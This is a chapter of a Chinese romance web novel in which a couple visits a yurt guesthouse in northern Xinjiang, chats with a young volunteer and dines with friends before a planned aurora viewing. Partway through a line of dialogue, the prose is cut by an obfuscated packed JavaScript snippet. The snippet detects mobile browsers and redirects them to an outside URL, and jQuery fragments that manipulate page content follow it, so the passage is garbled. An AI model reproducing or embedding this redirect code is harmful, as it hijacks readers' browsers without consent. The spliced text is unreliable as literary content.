52. 塔耳塔洛斯

作品:《风起时吻你

    谢持把常斐然的手机夺了过去,在锁屏界面按下切歌的按键。


    曲风陡转,笛声萧萧,随着费玉清老师深情的唱腔响起,车内所有人不约而同地窘了一下。


    “真情像草原广阔,


    “层层风雨不能阻隔,


    “总有云开日出时候……”


    黎念先是惊讶于常斐然独特的听歌品位,然后对谢持随随便便切掉她喜欢的歌曲的霸道行径颇感不满。


    “喂,你干嘛!”


    她用一指禅狠狠地朝他身上戳去。


    谢持整个人紧绷起来,鼻腔里逸出一声闷哼。


    “看样子是不好意思了。”常斐然看热闹不嫌事大,搭腔道。


    黎念才不信,掐住谢持的脸颊肉迫使他转过头来直视自己,几乎是报复性地问道:“天啊,老公,这只是人家吉他手写给暗恋对象的情歌,怎么还能让你听害羞了呢?”


    她平时在外人面前开他玩笑时才会主动用“老公”这个称呼,私底下则是心存忌惮的。


    一是觉得拗口,二是怕他发疯。


    谢持喜欢在床上哄骗黎念变着法子地叫他。


    她每每情到浓时,就会不由自主地被他带偏。而似乎也只有这样才能直抵最愉悦的彼岸。


    后果往往不堪设想。


    “嗯。”谢持惜字如金,眸色渐渐暗下去。


    黎念见他那副守口如瓶的死样子,知道从他身上套不出什么有价值的信息,自觉没劲便松开了魔爪,同时暗下决心要找常斐然多多刺探情报。


    接近下午两点,一行人来到布尔津县城稍事休整。


    黎念在飞机上光顾着睡觉,没怎么吃早餐。等到车刚驶离阿勒泰,她就开始吵嚷着肚子饿,结果被常斐然以“没到新疆人的饭点”为由无情拒绝。


    好不容易吊着半条命捱到了闹市区,看见满街花里胡哨的餐厅招牌,她登时就满血复活过来。


    “常斐然,你们的民宿也能有这么好吃的冷水鱼吗?”黎念埋头扒饭的间隙不忘盘算下一顿的事情。


    “对不起。可能会让你失望了。”常斐然每每说话只说半截,剩下的全叫人去猜。


    “……?”


    黎念不可置信瞪大眼睛,转而看向身旁一言不发的男人。


    谢持平时在各种聚会上就不爱主动说话,今天则显得格外沉默,竟然把给人以内敛印象的常斐然也衬托得活泼大方起来,倒也算得上是一桩奇事。


    事出反常必有妖。


    黎念剜他一眼,脸上的五官都皱到了一起,眼神里面更是不加掩饰写满嫌弃。


    从布尔津县城出发,距离景区仅剩一百多公里。


    汽车一路向北,疾驰在平坦宽阔的旅游公路上。下了高速后,又迅速丝滑地拐进一条盘虬崎岖的山路。


    周遭开始呈现出高山草甸的奇异景观。


    黎念心中油然生出不祥的预感——


    常斐然所说的“失望”大概是一语双关。


    这里前不着村后不着店的,方圆几十里都是无人区。


    如果他们拿棍子把她敲晕装麻袋里扔到山坡底下,等到路过的牧民发现时,她早都零落成泥碾作尘了。


    想想也是离谱到家。


    黎念被自己幼稚的脑洞气得发笑,无奈摇摇头,然后抱住手臂冷眼静观其变。她倒要看看这两个人能整出什么幺蛾子。


    车速渐渐放慢,呼啸而过的景色在某一瞬间清晰定格。形似蒙古包的白色尖顶小房子在群山怀抱之间星星点点地散落着。


    广袤天地里,人类试图改造自然的痕迹不过是沧海一粟,显得微不足道,又伟大坚毅。


    离“蒙古包”越来越近,常斐然打着转向灯变到右道,继而从路沿硬生生驶下去。轮胎吃力地辗过乱石堆,整个车厢都在剧烈颠簸。


    黎念刚在微信对话框里打下来的一长串字直接被抖得撤销掉。


    最后,越野车停在了园区大门前。


    谢持先行下车,从后备箱取了行李便轻车熟路往里走去。黎念紧随其后,注意力却被门口的破旧牌匾吸引,于是停住脚步。


    上书“xxx牧家乐”,前几个字已经风化模糊。她抬头仔细辨认了半天都看不清写的什么。


    “这……不会就是你开的民宿吧?”


    黎念面露难色,用试探的眼神望向常斐然,试图得到对方否定的回答。意识到自己的话可能有些冒犯,她又连忙捂住嘴,假装什么也没说过。


    常斐然倒是无所谓地耸耸肩,似乎早已习惯了别人的质疑:“是的,准确来说是毡房营地。我之前从一位哈萨克族老牧民那里盘下来的。”


    “噢——”黎念似懂非懂地感叹了一声。


    来这里之前,她事先在网上搜过北疆旅游攻略。禾木村里最常见到的民宿是小木屋,冬日淹没在厚厚的积雪中,就像格林童话里才会出现的梦幻场景。铺上羊毛毯缩在火炉旁,从玻璃窗外眺望巍峨的雪山,显得温暖又舒适。


    她本以为常斐然的产业也走的这种高端大气上档次的路线,没想到忒接地气了点。


    甚至都没在景区里,而是在人迹罕至的荒郊野岭……


    好在黎念不怎么挑剔住宿环境,和衣而卧两眼一闭就能睡到天亮。她更担心的是谢持,那个吃门钉肉饼都要给桌子消毒的人。


    感觉他如果半夜三更被冻醒的话,会偷偷开车去景区里面找酒店……


    走神之际,毡房的门帘被人掀开。


    笑声先从里面飞了出来。


    “念念姐,等你好久啦!欢迎来我家民宿玩!”


    黎念正寻思着自己好像并没有遗落在阿勒泰的人脉,定睛一看,来人是个年岁约莫二十出头的陌生小姑娘。


    她脑后垂下来两根麻花辫,随着跑动姿势跃动在肩头,白色裙摆如潮汐一般翩跹纷飞。


    她说的是“我家民宿”,亲昵得很。


    “你女朋友?”黎念狐疑地看向常斐然,自认为这个猜测很合理。


    常斐然眼睛都不眨一下:“民宿的义工,去年冬天来的。”


    黎念心想他作风老派,应不至于扯谎,便姑且选择相信他的话,冲着女孩招招手。


    施虞可甫一见到黎念便挽住她的手臂朝里面带去,一路上都在絮絮叨叨个不停,介绍民宿的大致情况。两个人聊得投缘,就好像是神交多年的老友。


    进入房间内部,迎面而来首先是不容忽视的大通铺,上面铺着纹样精美复杂的绣毡,被褥枕头叠放整齐排列在墙角。满墙壁毯极富民族风格,仿佛杂糅世间所有色彩,看得黎念眼花缭乱。


    “怎么样?这里原本除了枕头被子什么也没有,装饰都是我加上去的,”施虞可插着腰神气道,“看着才有生活气息嘛!”


    话罢,她倒了碗奶茶递给黎念。


    黎念笑着接过来浅抿一口,轻轻蹙眉并未多言,旋即把瓷碗随手搁在旁边的木桌上。


    而这些细微的情绪都被施虞可敏锐捕捉到。她心领神会,随口打声招呼便径直走出毡房,在外面倒腾了半晌,很快又端着一个印着红色小心心的马克杯回来。


    “有些客人喝不惯传统奶茶,我都会提供隐藏酒水单,给他们做内地流行的样式,”施虞可话匣子一打开便滔滔不绝道,“常斐然说塑料会污染环境,不让我用塑料杯装奶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689775|133229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    茶,所以我只好换个容器……


    “可能看起来不是很有食欲,但味道还是大家认证过的好,尤其是巴合波力那个小屁孩,以前总吵着让我带他去县里喝蜜x冰城,现在也喜欢喝我做的奶茶了。


    “你尝尝?”


    黎念盛情难却,只好赧然谢过,无意间嗅到杯中飘来的淡淡苹果香气。


    “你把这里的一切都打点得很好。”她情不自禁赞叹道。


    施虞可眼里闪过落寞,敛着裙摆坐在她身旁,仰头望向半开的天窗,喃喃自语:“还是有很多遗憾啦。门口的招牌我一直想换掉,每次都被老板回绝。


    “我还想带着大家一起搬到禾木去改善生活条件,可是他们似乎很眷恋这里,没人愿意离开。”


    “是什么支撑你坚持下去的?”黎念定定看她,渴切地想要获得答案。


    “大概……”施虞可作深思状,眼睛滴溜溜转了一圈,随即展开笑容,“或许是因为常斐然看起来真的很需要有人拉他一把。”


    黎念捧着马克杯陷入了沉默,时不时浅啜两口苹果奶绿。果然是外面冷饮店能做出来的味道,她很喜欢。


    “话又说回来,念念姐,”施虞可话锋一转,俏皮地眨了眨眼睛,“我真的很想向你取经,怎样才能把像谢持那样的大帅哥变成男朋友呀?”


    “咳咳咳……”黎念猝不及防被呛到。


    她的感情经历完全没有任何参考价值好吧!


    施虞可帮忙拍背顺气,神情满是担忧:“姐姐,我没有别的意思。”


    黎念好不容易缓过来劲,意味深长地盯着她:“严格意义上来说,是他先追的我。”


    当然经过了一些艺术加工,真实情况并非她描述的这样,还要复杂许多。


    施虞可脆弱的小心灵像是遭受了天大的打击,掩面嚎啕道:“早知道就不问你了!”


    她不一会儿又多云转晴,拉着黎念一直说个不停。


    直到落霞满天时,消失许久的谢持和常斐然终于风尘仆仆地回到毡房里面,女孩子之间的话题才被迫终结。


    在民宿帮工的哈萨克族阿姨替他们收拾好餐桌,端上来几道常见的菜式,又腼腆地笑着离开。


    “我们这里条件比较简陋,没有办法做鱼,很抱歉让你失望了。”常斐然对黎念认真说道。


    黎念吓得连忙摆手:“别介,我中午就是随口一问,没有别的意思。这一桌子菜已经很丰盛了,看着也香。”


    “不嫌弃就好。”常斐然深深看她一眼,像是话中有话。


    可是黎念舟车劳顿一天,哪顾得上揣摩他的别样意图,而是专心致志吃起饭来。


    中途,谢持从带来的行李箱里取出一支全新未拆封的红酒,怡然自若地将酒倒进一次性纸杯里,分给众人。


    常斐然见状惊掉下巴:“你用纸杯喝康帝,有事先问过酒的意见吗?”


    谢持冷冷瞥他:“你有意见?”


    言简意赅,略带着压迫感。


    常斐然懒得跟对方拌嘴,轻哼了一声,像是有意说给旁人听似的:“今天某些人要办一件大事,开瓶罗曼尼康帝又算得上啥。”


    话音未落,他便被谢持用眼神通体凌迟了一遍。在场仅剩的那个知情者也被吓得倒一口吸凉气。


    只有黎念还被蒙在鼓里,茫然吃瓜:“什么大事?”


    两个僚机眼神躲闪,慌乱中试图紧急圆场,却支支吾吾了半天。


    反观谢持倒是风雨不动,晃荡着手里的纸杯,悠悠道:“专程来一趟新疆,就是为了今晚陪你看极光,原本计划是要对你保密的。国内难得有这么好的机会,当然要庆祝一下。”